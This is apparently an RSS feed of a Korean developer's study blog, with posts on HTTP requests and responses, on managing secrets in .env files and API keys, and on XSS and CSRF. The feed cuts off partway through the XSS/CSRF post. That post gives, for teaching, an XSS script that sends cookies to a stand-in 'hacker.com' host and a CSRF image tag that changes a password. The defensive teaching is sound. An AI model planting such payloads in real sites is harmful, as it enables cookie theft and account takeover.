<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>jjang_hyo.log</title>
        <link>https://velog.io/</link>
        <description>✨🌏확장해 나가는 프론트엔드 개발자입니다✏️</description>
        <lastBuildDate>Wed, 06 May 2026 07:49:59 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>jjang_hyo.log</title>
            <url>https://velog.velcdn.com/images/jjang_hyo/profile/efe6960d-3f59-41d0-a27a-184644ebd429/image.JPG</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. jjang_hyo.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/jjang_hyo" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[ [Day 21] HTTP란? 요청과 응답 구조]]></title>
            <link>https://velog.io/@jjang_hyo/Day-21-HTTP%EB%9E%80-%EC%9A%94%EC%B2%AD%EA%B3%BC-%EC%9D%91%EB%8B%B5-%EA%B5%AC%EC%A1%B0</link>
            <guid>https://velog.io/@jjang_hyo/Day-21-HTTP%EB%9E%80-%EC%9A%94%EC%B2%AD%EA%B3%BC-%EC%9D%91%EB%8B%B5-%EA%B5%AC%EC%A1%B0</guid>
            <pubDate>Wed, 06 May 2026 07:49:59 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>프론트엔드 기초 다시 쌓기 챌린지 21일차.
<strong>Part 3: 네트워크 기초</strong> 시작!</p>
</blockquote>
<p>Part 1에서 &quot;코드가 사용자 화면까지 가는 과정&quot;을,
Part 2에서 &quot;비밀 정보 관리&quot;를 배웠다면,
Part 3에서는 그 사이에서 일어나는 <strong>대화</strong> — 네트워크를 배운다.</p>
<p>오늘의 핵심 질문:</p>
<blockquote>
<p>&quot;브라우저와 서버는 어떤 규칙으로 대화하는가?&quot;</p>
</blockquote>
<hr>
<h2 id="🍳-오늘의-비유-주문서와-영수증">🍳 오늘의 비유: &quot;주문서와 영수증&quot;</h2>
<pre><code>손님이 아무렇게나 소리 지르면?
→ &quot;야 뭐 좀 줘!&quot; → 주방: &quot;뭘요...?&quot;

규칙이 있는 주문서를 쓰면?
→ 메뉴명, 수량, 테이블 번호가 적혀있음
→ 주방이 정확히 이해하고 음식을 보내줌</code></pre><p>HTTP는 이 <strong>&quot;주문서 양식&quot;</strong>이다.
브라우저와 서버가 대화할 때 지키는 규칙.</p>
<pre><code>HTTP = HyperText Transfer Protocol
     = 하이퍼텍스트를 전송하는 규칙(프로토콜)</code></pre><hr>
<h2 id="📤-http-요청-request--주문서">📤 HTTP 요청 (Request) = &quot;주문서&quot;</h2>
<p>브라우저가 서버에 보내는 메시지. 3가지 파트로 구성된다.</p>
<pre><code>GET /api/products HTTP/1.1          ← 1. 요청 라인
Host: www.myshop.com                ← 2. 헤더
Accept: application/json
Authorization: Bearer eyJhbGci...
Cookie: session=abc123
                                    ← 빈 줄
(본문 없음)                          ← 3. 본문 (GET은 보통 없음)</code></pre><h3 id="1-요청-라인-request-line--뭘-원하는지">1. 요청 라인 (Request Line) — &quot;뭘 원하는지&quot;</h3>
<pre><code>GET /api/products HTTP/1.1

GET           → HTTP 메서드 (어떤 행동?)
/api/products → URL 경로 (어떤 자원?)
HTTP/1.1      → HTTP 버전</code></pre><h3 id="2-헤더-headers--부가-정보">2. 헤더 (Headers) — &quot;부가 정보&quot;</h3>
<pre><code>Host: www.myshop.com           → 어떤 서버에 보내는지
Accept: application/json       → 어떤 형식으로 받고 싶은지
Authorization: Bearer eyJ...   → 내가 누군지 (인증 정보)
Cookie: session=abc123         → 이전에 받은 쿠키</code></pre><h3 id="3-본문-body--보내는-데이터">3. 본문 (Body) — &quot;보내는 데이터&quot;</h3>
<pre><code>GET 요청: 보통 본문 없음 (달라고만 하니까)
POST 요청: 본문에 데이터를 담아 보냄</code></pre><pre><code>POST /api/products HTTP/1.1
Content-Type: application/json

{
  &quot;name&quot;: &quot;새 상품&quot;,
  &quot;price&quot;: 29000
}</code></pre><hr>
<h2 id="📥-http-응답-response--영수증--음식">📥 HTTP 응답 (Response) = &quot;영수증 + 음식&quot;</h2>
<p>서버가 브라우저에 보내는 메시지. 마찬가지로 3가지 파트.</p>
<pre><code>HTTP/1.1 200 OK                    ← 1. 상태 라인
Content-Type: application/json      ← 2. 헤더
Content-Length: 256
Set-Cookie: session=xyz789
                                    ← 빈 줄
{                                   ← 3. 본문 (실제 데이터)
  &quot;products&quot;: [
    { &quot;id&quot;: 1, &quot;name&quot;: &quot;티셔츠&quot;, &quot;price&quot;: 29000 },
    { &quot;id&quot;: 2, &quot;name&quot;: &quot;모자&quot;, &quot;price&quot;: 15000 }
  ]
}</code></pre><h3 id="1-상태-라인--결과가-어떤지">1. 상태 라인 — &quot;결과가 어떤지&quot;</h3>
<pre><code>HTTP/1.1 200 OK

200  → 상태 코드 (숫자)
OK   → 상태 메시지 (사람이 읽기 위한)</code></pre><h3 id="2-헤더--부가-정보">2. 헤더 — &quot;부가 정보&quot;</h3>
<pre><code>Content-Type: application/json  → 데이터 형식이 JSON
Content-Length: 256             → 데이터 크기
Set-Cookie: session=xyz789     → 이 쿠키를 저장해주세요</code></pre><h3 id="3-본문--실제-데이터">3. 본문 — &quot;실제 데이터&quot;</h3>
<p>서버가 보내주는 JSON, HTML, 이미지 등 실제 내용.</p>
<hr>
<h2 id="🔍-chrome-devtools에서-직접-보기">🔍 Chrome DevTools에서 직접 보기</h2>
<pre><code>1. F12 → Network 탭 열기
2. 아무 사이트 접속
3. 요청 하나 클릭
4. Headers 탭 → 요청 라인, 헤더 확인
5. Response 탭 → 본문(실제 데이터) 확인
6. Status 열 → 200, 304, 404 같은 상태 코드</code></pre><p>Day 3에서 Network 탭을 배울 때 봤던 것들이 다 HTTP 요청/응답이었다.</p>
<pre><code>Day 3에서 본 것:   &quot;브라우저가 JS, CSS 파일을 받아온다&quot;
Day 21에서 아는 것: &quot;GET 요청으로 파일을 달라고 하면 200 OK와 함께 파일이 온다&quot;</code></pre><hr>
<h2 id="💡-http의-특징-2가지">💡 HTTP의 특징 2가지</h2>
<h3 id="1-무상태-stateless--기억력이-없다">1. 무상태 (Stateless) — &quot;기억력이 없다&quot;</h3>
<p>HTTP는 이전 요청을 기억하지 못한다.</p>
<pre><code>요청 1: &quot;로그인할게요&quot; → 응답: &quot;성공!&quot;
요청 2: &quot;내 주문 내역 보여줘&quot; → 응답: &quot;누구세요...?&quot;</code></pre><p>그래서 매 요청마다 &quot;나 이 사람이에요&quot;라는 인증 정보를 같이 보내야 한다.
쿠키, 세션, JWT 같은 기술이 이 문제를 해결한다. (Day 30에서 자세히!)</p>
<h3 id="2-요청-응답-request-response--물어봐야-답한다">2. 요청-응답 (Request-Response) — &quot;물어봐야 답한다&quot;</h3>
<p>서버는 먼저 말을 걸지 않는다. 항상 브라우저가 먼저 요청해야 응답이 온다.</p>
<pre><code>✅ 브라우저: &quot;상품 목록 줘&quot; → 서버: &quot;여기 있어&quot;
❌ 서버: &quot;새 상품 나왔어요!&quot; → (이런 건 안 됨)</code></pre><p>&quot;그럼 실시간 알림은?&quot; → Day 32에서 배울 WebSocket이라는 다른 기술이 해결한다.</p>
<hr>
<h2 id="🔗-여러분-프로젝트와-연결">🔗 여러분 프로젝트와 연결</h2>
<pre><code class="language-javascript">// 이게 사실 HTTP 요청이다!
const res = await fetch(&#39;/api/products&#39;);
const data = await res.json();</code></pre>
<p>이 한 줄이 뒤에서 하는 일:</p>
<pre><code>1. fetch가 HTTP 요청 생성 → GET /api/products HTTP/1.1
2. 서버로 요청 전송
3. 서버가 데이터를 찾아서 200 OK + JSON 데이터 응답
4. res.json()이 응답 본문을 파싱
5. data 변수에 상품 목록 저장</code></pre><p>Day 19에서 배운 CSRF도 연결된다.
<code>&lt;img src=&quot;우리사이트/api/delete?id=123&quot;&gt;</code>이 위험한 이유가,
img 태그가 <strong>GET 요청</strong>을 자동으로 보내기 때문이다!</p>
<hr>
<h2 id="🍳-레스토랑-비유-업데이트">🍳 레스토랑 비유 업데이트</h2>
<table>
<thead>
<tr>
<th>레스토랑</th>
<th>서버</th>
</tr>
</thead>
<tbody><tr>
<td>주문서</td>
<td>HTTP 요청 (Request)</td>
</tr>
<tr>
<td>영수증 + 음식</td>
<td>HTTP 응답 (Response)</td>
</tr>
<tr>
<td>주문서 양식 규칙</td>
<td>HTTP 프로토콜</td>
</tr>
<tr>
<td>&quot;파스타 1개요&quot; (뭘 원하는지)</td>
<td>요청 라인 (GET /api/products)</td>
</tr>
<tr>
<td>&quot;테이블 5번, VIP입니다&quot; (부가 정보)</td>
<td>헤더 (Host, Authorization)</td>
</tr>
<tr>
<td>&quot;이 재료로 만들어주세요&quot; (데이터)</td>
<td>본문 (Body)</td>
</tr>
<tr>
<td>&quot;주문 성공! 음식 나갑니다&quot;</td>
<td>200 OK</td>
</tr>
<tr>
<td>직원이 기억상실증</td>
<td>무상태 (Stateless)</td>
</tr>
<tr>
<td>주문해야 음식 나옴</td>
<td>요청-응답 (Request-Response)</td>
</tr>
</tbody></table>
<hr>
<h2 id="🎯-오늘-배운-것-최종-정리">🎯 오늘 배운 것 최종 정리</h2>
<ol>
<li><strong>HTTP란</strong>: 브라우저와 서버가 대화하는 규칙 (주문서 양식)</li>
<li><strong>요청 3가지 구성</strong>: 요청 라인(뭘 할지) + 헤더(부가 정보) + 본문(데이터)</li>
<li><strong>응답 3가지 구성</strong>: 상태 라인(결과) + 헤더(부가 정보) + 본문(실제 데이터)</li>
<li><strong>무상태 (Stateless)</strong>: 이전 요청 기억 못 함 → 매번 인증 정보를 같이 보내야 함</li>
<li><strong>요청-응답</strong>: 서버는 먼저 안 말함, 항상 브라우저가 먼저 요청</li>
<li><strong>fetch()의 정체</strong>: HTTP 요청을 만들어서 서버에 보내고 응답을 받는 것</li>
</ol>
<hr>
<h2 id="🧪-이해도-체크">🧪 이해도 체크</h2>
<p><strong>Q1. HTTP 요청의 3가지 구성 요소는?</strong>
→ 정답: 요청 라인(어떤 메서드로 어떤 경로에 요청할지) + 헤더(부가 정보) + 본문(보내는 데이터)</p>
<p><strong>Q2. HTTP가 무상태(Stateless)라는 건?</strong>
→ 정답: 이전 요청을 기억하지 못한다. 그래서 매 요청마다 인증 정보(쿠키, JWT 등)를 같이 보내야 서버가 &quot;아 이 사람이구나&quot; 알 수 있다.</p>
<p><strong>Q3. fetch(&#39;/api/products&#39;) 실행 시 뒤에서 일어나는 일은?</strong>
→ 정답: GET /api/products HTTP/1.1 요청 생성 → 서버 전송 → 서버가 200 OK + JSON 응답 → res.json()으로 파싱 → 데이터 저장</p>
<hr>
<h2 id="💭-회고">💭 회고</h2>
<p><code>fetch()</code>를 매일 쓰면서도 이게 HTTP 요청을 보내는 거라는 걸 제대로 의식하지 못하고 있었다.</p>
<p>오늘 HTTP 요청/응답 구조를 배우고 나니, Network 탭에서 보이는 것들이 전부 의미있게 다가온다.
Day 3에서는 &quot;파일을 받아오는구나&quot; 정도였는데,
이제는 &quot;GET 요청으로 JS 파일을 달라고 하면 200 OK와 함께 파일이 오는 것&quot;이라는 걸 안다.</p>
<p>HTTP가 무상태라는 것도 재밌었다. 서버가 매번 &quot;누구세요?&quot;하는 건데,
그래서 쿠키나 JWT 같은 인증 기술이 필요한 거였다.
Day 19에서 배운 CSRF도 여기서 연결된다 — 쿠키가 자동으로 같이 가니까 공격이 가능한 것.</p>
<p>매일 배울수록 이전에 배운 것들이 연결되는 게 느껴진다.</p>
<hr>
<h2 id="📚-다음-학습-예고">📚 다음 학습 예고</h2>
<blockquote>
<p><strong>Day 22: HTTP 메서드 (GET, POST, PUT, DELETE) + REST API</strong>
오늘 배운 &quot;요청 라인&quot;에서 GET만 봤는데,
POST, PUT, DELETE는 뭐가 다른지, REST API는 어떤 규칙인지 배운다.</p>
</blockquote>
<p>#프론트엔드 #HTTP #네트워크 #요청 #응답 #fetch #2년차개발자 #기초다시쌓기</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Day 20] Part 2 회고 + 총정리 — 비밀 정보는 어디에 어떻게 숨기는가?]]></title>
            <link>https://velog.io/@jjang_hyo/Day-20-Part-2-%ED%9A%8C%EA%B3%A0-%EC%B4%9D%EC%A0%95%EB%A6%AC-%EB%B9%84%EB%B0%80-%EC%A0%95%EB%B3%B4%EB%8A%94-%EC%96%B4%EB%94%94%EC%97%90-%EC%96%B4%EB%96%BB%EA%B2%8C-%EC%88%A8%EA%B8%B0%EB%8A%94%EA%B0%80</link>
            <guid>https://velog.io/@jjang_hyo/Day-20-Part-2-%ED%9A%8C%EA%B3%A0-%EC%B4%9D%EC%A0%95%EB%A6%AC-%EB%B9%84%EB%B0%80-%EC%A0%95%EB%B3%B4%EB%8A%94-%EC%96%B4%EB%94%94%EC%97%90-%EC%96%B4%EB%96%BB%EA%B2%8C-%EC%88%A8%EA%B8%B0%EB%8A%94%EA%B0%80</guid>
            <pubDate>Wed, 06 May 2026 05:54:04 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>프론트엔드 기초 다시 쌓기 챌린지 20일차.
<strong>Part 2: 환경변수·시크릿·보안 (Day 16~20) 완료!</strong></p>
</blockquote>
<p>오늘은 5일간 배운 환경변수·시크릿·보안을 <strong>하나의 흐름으로 연결</strong>하는 시간이었다.</p>
<hr>
<h2 id="🍳-레스토랑-스토리-part-2편">🍳 레스토랑 스토리: Part 2편</h2>
<h3 id="chapter-4-비밀-관리-체계-구축-week-4">Chapter 4: 비밀 관리 체계 구축 (Week 4)</h3>
<pre><code>Day 16: 메뉴판에 적어도 되는 정보 vs 주방에서만 알아야 하는 정보.
        NEXT_PUBLIC_ 붙으면 메뉴판(브라우저) 노출.
        빌드할 때 JS 파일에 값이 직접 박히기 때문이다.

Day 17: 지점마다 납품업체가 다르다.
        .env.development(본점), .env.production(실서비스).
        비밀 레시피 유출되면? 레시피를 바꾸는 게 먼저(키 무효화)!

Day 18: 납품업체 카드가 두 종류. 주문 카드(공개 키)와 정산 카드(시크릿 키).
        연습용(테스트 키)과 진짜(라이브 키)를 분리!
        라이브 키로 연습하면 진짜 결제가 돼버린다.

Day 19: 레스토랑을 공격하는 악당 등장.
        XSS: 메뉴판에 가짜 안내문 끼움 → React {}로 방어.
        CSRF: 밖에서 가짜 주문 보냄 → CSRF 토큰, POST 사용으로 방어.</code></pre><hr>
<h2 id="🔄-비밀-정보의-전체-흐름">🔄 비밀 정보의 전체 흐름</h2>
<p>Part 1의 배포 파이프라인에 Part 2의 보안 지식을 합치면:</p>
<pre><code>[1단계: 개발]
코드 작성 + .env.development에 테스트 키 사용
→ NEXT_PUBLIC_은 공개 값만!
→ 시크릿 키는 서버 사이드 코드에서만!

        ↓

[2단계: git push]
.env는 .gitignore에 등록 → git에 안 올림
.env.example만 올림 → 팀원 가이드용

        ↓

[3단계: CI/CD]
GitHub Secrets에서 비밀 값 가져옴
→ 코드에 시크릿 키가 노출되지 않음

        ↓

[4단계: 빌드]
NEXT_PUBLIC_ 값 → JS 파일에 직접 박힘 (브라우저 노출)
일반 환경변수 → 박히지 않음 (서버에서만 접근)

        ↓

[5단계: 서버 배포]
서버의 .env에 라이브 키 저장
→ 테스트 키가 아닌 라이브 키로 실서비스 운영

        ↓

[6단계: 사용자 접속]
브라우저에서 볼 수 있는 것: NEXT_PUBLIC_ 값만
서버에서만 처리되는 것: DB 비밀번호, 결제 시크릿 키
→ XSS/CSRF 방어가 적용된 안전한 사이트

        ↓

[사고 발생 시]
키 유출 → 키 무효화가 1순위 → 새 키 발급 → 3곳 업데이트</code></pre><hr>
<h2 id="📋-핵심-개념-총정리-한-줄-요약">📋 핵심 개념 총정리: 한 줄 요약</h2>
<table>
<thead>
<tr>
<th>Day</th>
<th>한 줄 요약</th>
</tr>
</thead>
<tbody><tr>
<td>Day 16</td>
<td>NEXT_PUBLIC_ 붙으면 브라우저 노출, 안 붙으면 서버 전용. 빌드 시 JS에 값이 박힘</td>
</tr>
<tr>
<td>Day 17</td>
<td>환경별 .env 분리 + 유출 시 키 무효화가 1순위 + .env.example로 팀 가이드</td>
</tr>
<tr>
<td>Day 18</td>
<td>공개 키(pk_) vs 시크릿 키(sk_) 구분 + 테스트 키와 라이브 키 분리</td>
</tr>
<tr>
<td>Day 19</td>
<td>XSS = 우리 사이트 안에 코드 삽입, CSRF = 밖에서 가짜 요청 전송</td>
</tr>
</tbody></table>
<hr>
<h2 id="⭐-이것만은-꼭-기억하자-top-5">⭐ &quot;이것만은 꼭 기억하자&quot; TOP 5</h2>
<h3 id="1-next_public_--전-세계-공개">1. NEXT_PUBLIC_ = 전 세계 공개</h3>
<pre><code>붙이기 전에 항상 질문:
&quot;이 값을 전 세계 누구나 봐도 괜찮은가?&quot;
→ 괜찮다: NEXT_PUBLIC_ OK
→ 안 괜찮다: 절대 금지</code></pre><h3 id="2-환경변수는-3곳에-동기화">2. 환경변수는 3곳에 동기화</h3>
<pre><code>내 컴퓨터 → .env.local (테스트 키)
CI/CD    → GitHub Secrets (라이브 키)
서버     → .env (라이브 키)
→ 3곳 중 하나라도 빠지면 문제 발생!</code></pre><h3 id="3-유출되면-삭제보다-키-무효화가-먼저">3. 유출되면 삭제보다 키 무효화가 먼저</h3>
<pre><code>.env가 git에 올라감
→ git에서 삭제해도 커밋 기록에 남아있음
→ 키 자체를 못 쓰게 만드는 게 1순위!</code></pre><h3 id="4-테스트-키와-라이브-키를-절대-섞지-않기">4. 테스트 키와 라이브 키를 절대 섞지 않기</h3>
<pre><code>라이브 키로 개발하면 → 테스트 결제가 진짜 결제!
.env.development → 테스트 키 (sk_test_)
.env.production  → 라이브 키 (sk_live_)</code></pre><h3 id="5-xss는-안에서-csrf는-밖에서">5. XSS는 안에서, CSRF는 밖에서</h3>
<pre><code>XSS:  우리 사이트 안에 스크립트 삽입
      → React {}, textContent, DOMPurify

CSRF: 해커 사이트에서 우리 사이트로 가짜 요청
      → CSRF 토큰, SameSite 쿠키, 중요한 API는 POST</code></pre><hr>
<h2 id="🍳-레스토랑-비유-총정리-part-2">🍳 레스토랑 비유 총정리 (Part 2)</h2>
<table>
<thead>
<tr>
<th>레스토랑</th>
<th>서버</th>
<th>Day</th>
</tr>
</thead>
<tbody><tr>
<td>메뉴판에 적는 정보</td>
<td>NEXT_PUBLIC_ 환경변수</td>
<td>16</td>
</tr>
<tr>
<td>주방에서만 아는 비밀 레시피</td>
<td>NEXT_PUBLIC_ 없는 환경변수</td>
<td>16</td>
</tr>
<tr>
<td>지점별 납품업체 목록</td>
<td>환경별 .env 파일</td>
<td>17</td>
</tr>
<tr>
<td>내 책상 서랍 납품처 메모</td>
<td>.env.local (내 컴퓨터 전용)</td>
<td>17</td>
</tr>
<tr>
<td>&quot;이 요리에 비밀 소스 필요&quot; 안내문</td>
<td>.env.example</td>
<td>17</td>
</tr>
<tr>
<td>비밀 레시피 유출 → 레시피 변경</td>
<td>키 유출 → 키 무효화 + 재발급</td>
<td>17</td>
</tr>
<tr>
<td>주문 카드 (직원 누구나 사용)</td>
<td>공개 키 (pk_, publishable)</td>
<td>18</td>
</tr>
<tr>
<td>정산 카드 (사장님만 보관)</td>
<td>시크릿 키 (sk_, secret)</td>
<td>18</td>
</tr>
<tr>
<td>연습용 납품처</td>
<td>테스트 키 (sk_test_)</td>
<td>18</td>
</tr>
<tr>
<td>진짜 납품처</td>
<td>라이브 키 (sk_live_)</td>
<td>18</td>
</tr>
<tr>
<td>메뉴판에 가짜 안내문 끼움</td>
<td>XSS (악성 스크립트 삽입)</td>
<td>19</td>
</tr>
<tr>
<td>밖에서 가짜 주문 보냄</td>
<td>CSRF (가짜 요청 위조)</td>
<td>19</td>
</tr>
<tr>
<td>가짜 레스토랑 만들어 속임</td>
<td>피싱 (Phishing)</td>
<td>19</td>
</tr>
<tr>
<td>주문할 때 오늘의 비밀번호 확인</td>
<td>CSRF 토큰</td>
<td>19</td>
</tr>
<tr>
<td>&quot;VIP 카드는 매장 안에서만 유효&quot;</td>
<td>SameSite 쿠키</td>
<td>19</td>
</tr>
</tbody></table>
<hr>
<h2 id="🔗-part-1--part-2-연결">🔗 Part 1 + Part 2 연결</h2>
<pre><code>Part 1 (Day 1-15): &quot;코드가 사용자 화면까지 가는 과정&quot;
  빌드 → CI/CD → Docker → 서버 → Nginx → 사용자

Part 2 (Day 16-20): &quot;그 과정에서 비밀 정보를 안전하게 관리하는 법&quot;
  NEXT_PUBLIC_ 구분 → 환경별 .env → 키 관리 → 보안 방어

Part 1이 &quot;어떻게 배포하는가&quot;였다면,
Part 2는 &quot;배포할 때 비밀을 어떻게 지키는가&quot;이다.</code></pre><hr>
<h2 id="🧪-이해도-체크">🧪 이해도 체크</h2>
<p><strong>Q1. 새 프로젝트 환경변수 세팅 순서는?</strong>
→ 정답:</p>
<ol>
<li>.gitignore에 .env 관련 파일 추가 (가장 먼저!)</li>
<li>.env.development 생성 (테스트 키)</li>
<li>.env.production 생성 (라이브 키)</li>
<li>.env.local 생성 (내 컴퓨터 전용, 필요시)</li>
<li>.env.example 생성 (팀 가이드용, git에 올림)</li>
<li>GitHub Secrets에 라이브 키 등록 (CI/CD용)</li>
</ol>
<p><strong>Q2. 시크릿 키를 NEXT_PUBLIC_으로 git push해버렸을 때 대응 순서는?</strong>
→ 정답:</p>
<ol>
<li>키 즉시 무효화 + 새 키 발급 (1순위!)</li>
<li>NEXT_PUBLIC_ 제거 (시크릿은 서버 전용!)</li>
<li>git rm --cached .env로 git 추적 제거</li>
<li>.gitignore에 .env 추가</li>
<li>새 키를 .env, GitHub Secrets, 서버에 업데이트</li>
</ol>
<p><strong>Q3. XSS와 CSRF 정의 + 방어 방법은?</strong>
→ 정답:
XSS: 우리 사이트 안에 악성 스크립트를 심는 공격 → React {}, textContent로 방어
CSRF: 외부 사이트에서 우리 사이트로 가짜 요청 보내는 공격 → 중요한 API는 POST로, CSRF 토큰 사용</p>
<hr>
<h2 id="💭-회고">💭 회고</h2>
<p>Part 2를 시작하기 전에는 .env 파일이 &quot;그냥 값 넣는 파일&quot; 정도였다.</p>
<p>5일 동안 배우고 나니 환경변수 관리가 <strong>보안의 핵심</strong>이라는 걸 체감했다.
NEXT_PUBLIC_ 하나 잘못 붙이면 시크릿 키가 전 세계에 공개되고,
.env를 git에 올리면 커밋 기록에 영원히 남고,
테스트 키와 라이브 키를 섞으면 진짜 결제가 돼버린다.</p>
<p>특히 인상 깊었던 3가지:</p>
<ol>
<li><strong>NEXT_PUBLIC_ 값이 빌드 시 JS에 직접 박힌다</strong> — Day 2 빌드 과정과 연결되는 거였다</li>
<li><strong>키 유출 시 삭제가 아니라 무효화가 먼저</strong> — Day 14 &quot;고치기 전에 되돌려라&quot;와 같은 원칙</li>
<li><strong>CSRF는 페이지 방문만 해도 공격당한다</strong> — img 태그 하나로 GET 요청이 자동으로 나감</li>
</ol>
<p>Part 1에서 &quot;어떻게 배포하는가&quot;를 배웠고,
Part 2에서 &quot;배포할 때 비밀을 어떻게 지키는가&quot;를 배웠다.</p>
<p>다음 Part 3에서는 &quot;컴퓨터끼리 어떻게 대화하는가&quot; — 네트워크 기초를 배운다.
HTTP, DNS, CORS, JWT 같은 단어들이 드디어 나온다!</p>
<hr>
<h2 id="📚-다음-학습-예고">📚 다음 학습 예고</h2>
<blockquote>
<p><strong>Part 3: 네트워크 기초 (Day 21~35)</strong>
&quot;컴퓨터끼리 어떻게 대화하는가?&quot;</p>
<p>Day 21: HTTP란? 요청과 응답 구조
브라우저가 서버에 &quot;이 페이지 주세요&quot;라고 말하는 방법을 배운다.</p>
</blockquote>
<p>#프론트엔드 #환경변수 #보안 #XSS #CSRF #API키 #2년차개발자 #기초다시쌓기</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Day 19] 프론트엔드 보안 기본기 — XSS, CSRF 개념]]></title>
            <link>https://velog.io/@jjang_hyo/Day-19-%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%EB%B3%B4%EC%95%88-%EA%B8%B0%EB%B3%B8%EA%B8%B0-XSS-CSRF-%EA%B0%9C%EB%85%90</link>
            <guid>https://velog.io/@jjang_hyo/Day-19-%ED%94%84%EB%A1%A0%ED%8A%B8%EC%97%94%EB%93%9C-%EB%B3%B4%EC%95%88-%EA%B8%B0%EB%B3%B8%EA%B8%B0-XSS-CSRF-%EA%B0%9C%EB%85%90</guid>
            <pubDate>Wed, 06 May 2026 03:19:22 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>프론트엔드 기초 다시 쌓기 챌린지 19일차.
Part 2 &quot;환경변수·시크릿·보안&quot;의 네 번째 수업.</p>
</blockquote>
<p>Day 16~18에서 환경변수와 API 키 관리를 배웠다면,
오늘은 <strong>&quot;해커가 우리 사이트를 어떻게 공격하는가? 그리고 어떻게 막는가?&quot;</strong>를 배웠다.</p>
<hr>
<h2 id="🍳-오늘의-비유-누가-우리-레스토랑에-몰래-뭔가를-한다">🍳 오늘의 비유: &quot;누가 우리 레스토랑에 몰래 뭔가를 한다&quot;</h2>
<pre><code>공격 1 (XSS): 악당이 메뉴판에 몰래 가짜 안내문을 끼워 넣음
→ 손님이 진짜인 줄 알고 &quot;여기에 카드번호 적어주세요&quot;에 속음

공격 2 (CSRF): 악당이 다른 곳에서 단골 손님 이름으로 가짜 주문을 보냄
→ 손님이 자기도 모르게 비싼 코스요리 100인분 주문됨</code></pre><hr>
<h2 id="💉-xss-cross-site-scripting">💉 XSS (Cross-Site Scripting)</h2>
<h3 id="xss가-뭐야">XSS가 뭐야?</h3>
<blockquote>
<p>해커가 우리 사이트에 <strong>악성 스크립트(JavaScript)를 몰래 심는 공격</strong></p>
</blockquote>
<h3 id="어떻게-공격하는가">어떻게 공격하는가?</h3>
<p>쇼핑몰에 리뷰 기능이 있다고 하자.</p>
<pre><code>일반 사용자의 리뷰:
&quot;이 상품 너무 좋아요! 배송도 빨라요.&quot;

해커의 리뷰:
&quot;좋은 상품이에요&lt;script&gt;document.location=&#39;https://hacker.com/steal?cookie=&#39;+document.cookie&lt;/script&gt;&quot;</code></pre><p>이 리뷰를 그대로 화면에 보여주면 스크립트가 실행된다.</p>
<pre><code>1. 다른 손님이 리뷰 페이지 방문
2. 해커가 심은 스크립트가 자동 실행
3. 손님의 쿠키(로그인 정보)가 해커 서버로 전송
4. 해커가 손님 계정으로 로그인!</code></pre><h3 id="어떻게-막는가">어떻게 막는가?</h3>
<p><strong>방법 1: innerHTML 대신 textContent</strong></p>
<pre><code class="language-javascript">// ❌ 위험! 사용자 입력을 HTML로 렌더링
element.innerHTML = userInput;

// ✅ 안전! 텍스트로만 처리 (스크립트 실행 안 됨)
element.textContent = userInput;</code></pre>
<p><strong>방법 2: React는 기본적으로 막아줌!</strong></p>
<pre><code class="language-jsx">function Review({ content }) {
  return &lt;div&gt;{content}&lt;/div&gt;;  // ✅ 안전!
  // &lt;script&gt;가 문자열로 보이고 실행 안 됨
}</code></pre>
<p>React가 자동으로 특수문자를 변환해준다:</p>
<pre><code>&lt;script&gt; → &amp;lt;script&amp;gt;
→ 화면에 &quot;&lt;script&gt;&quot;라는 글자로 보이고, 실행은 안 됨</code></pre><p><strong>⚠️ 하지만 React에서도 위험한 게 하나 있다!</strong></p>
<pre><code class="language-jsx">// ❌ 위험! 이스케이프를 무시하고 HTML을 그대로 렌더링
&lt;div dangerouslySetInnerHTML={{ __html: userInput }} /&gt;

// ✅ 꼭 써야 한다면 DOMPurify로 살균 먼저!
import DOMPurify from &#39;dompurify&#39;;
&lt;div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} /&gt;</code></pre>
<p>이름이 <code>dangerouslySetInnerHTML</code>인 이유가 있다. <strong>진짜 위험하니까!</strong></p>
<p><strong>방법 3: Content Security Policy (CSP) 헤더</strong></p>
<pre><code>Content-Security-Policy: script-src &#39;self&#39;
→ &quot;우리 도메인의 스크립트만 실행해라&quot;
→ 해커가 외부 스크립트를 삽입해도 브라우저가 차단</code></pre><hr>
<h2 id="🎣-csrf-cross-site-request-forgery">🎣 CSRF (Cross-Site Request Forgery)</h2>
<h3 id="csrf가-뭐야">CSRF가 뭐야?</h3>
<blockquote>
<p>사용자가 <strong>자기도 모르게</strong> 우리 사이트에 요청을 보내게 하는 공격</p>
</blockquote>
<p>핵심: <strong>해커 사이트에서</strong> 우리 사이트로 몰래 요청을 보내는 것이다.
우리 사이트 안에 뭔가를 심는 게 아니다.</p>
<h3 id="어떻게-공격하는가-1">어떻게 공격하는가?</h3>
<pre><code>1. 내가 쇼핑몰에 로그인 중 (브라우저에 로그인 쿠키 있음)
2. 해커 사이트를 방문 (그냥 &quot;귀여운 고양이 사진&quot; 사이트일 수도 있음)
3. 그 페이지 HTML 안에 이게 숨어있음:
   &lt;img src=&quot;https://myshop.com/api/change-password?new=hacker123&quot; /&gt;
4. 브라우저가 이미지를 로드하려고 myshop.com에 요청을 보냄
5. 나는 myshop.com에 로그인 중이니까 쿠키가 자동으로 같이 감!
6. 서버: &quot;로그인된 사용자가 비밀번호 변경 요청했구나&quot; → 처리
7. 내 비밀번호가 바뀌어버림! 나는 아무것도 모름!</code></pre><p><strong>CSRF가 무서운 이유: 사용자가 아무것도 안 해도, 그냥 해커 사이트를 방문만 해도 공격이 진행된다.</strong></p>
<h3 id="피싱과-csrf의-차이">피싱과 CSRF의 차이</h3>
<p>처음에는 &quot;우리 사이트를 똑같이 만들어서 속이는 건가?&quot; 하고 헷갈렸다.
그건 CSRF가 아니라 <strong>피싱(Phishing)</strong>이라는 별개의 공격이다.</p>
<pre><code>피싱:  가짜 사이트에서 사용자가 직접 정보를 입력하게 속임
